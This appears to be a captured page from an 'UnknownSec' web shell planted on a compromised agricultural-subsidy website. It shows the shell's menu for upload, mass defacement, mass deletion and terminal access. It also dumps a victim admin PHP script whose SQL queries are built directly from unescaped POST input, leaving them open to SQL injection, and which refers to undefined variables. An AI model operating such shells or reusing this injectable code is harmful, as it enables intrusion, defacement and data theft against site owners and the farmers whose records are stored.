UnknownSec Bypass
403
:
/
var
/
www
/
jpsagrisolution
/
cpanel
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
manage_farmer_anudaan_santoshjanak_details.php
<?php session_start(); require_once "../panelassets/config.php"; if($_POST['sdate']=="" || $_POST['sdate']=="01-01-1900") { $sdate="1900-01-01"; } else { $ninputdate = explode("-", $_POST['sdate']); $sdate =$ninputdate[2].'-'.$ninputdate[1].'-'.$ninputdate[0]; } $system = $_POST['system']; $place=$_POST['place']; $creationuserid=$_SESSION["adminid"]; $regno = $_POST['regno']; $btnopration = $_POST['btnopration']; $creationdatetime = date("Y-m-d H:m:s"); $message= ""; $cnt=""; if($btnopration=="Save") { $query="delete from anudaan_santoshjanak_reporttb where regno='".$regno."'"; $result = mysqli_query($conn, $query); $query= " insert into anudaan_santoshjanak_reporttb(regno,sthapit_system,area,sdate,isdeleted,creationuserid,creationdatetime) VALUES('{$regno}','{$system}','{$place}','{$sdate}','{$notdeleted}','{$creationuserid}','{$creationdatetime}')"; $result = mysqli_query($conn, $query); if($result==true) $message="1"; } else if($btnopration=="Update"){ $query = "select count(0) as count from anudaanfarmerregtb where regno!='".$hdid ."' and mobileno='".$mobileno1."' and isdeleted='".$notdeleted."'"; $result = mysqli_query($conn,$query); while($row = mysqli_fetch_array($result)) { $data["count"]= $row["count"]; } if($data["count"]=="0") { $query= "Update anudaanfarmerregtb set farmername='{$farmername}',fathername='{$fathername}',mobileno='{$mobileno1}',cast='{$cast}', age= '{$age}',gender='{$gender}', stcode='".$state."', distcode='".$district."',blockid='".$block."',villageid='".$villae."', modificationuserid='".$creationuserid."', modificationdatetime ='{$creationdatetime}' where regno='".$hdid."'"; $result = mysqli_query($conn, $query); if($result==true) $message="3"; } else { $message="2"; } } else if($btnopration=="Delete") { //$query="delete from farmerdetailstb where farmerid='".$hdid."'"; $query="Update anudaanfarmerregtb set isdeleted ='".$deleted."' where regno='".$hdid."'"; $result = mysqli_query($conn, $query); if($result==true) $message="4"; } echo json_encode($message); ?>
Copyright © 2025 - UnknownSec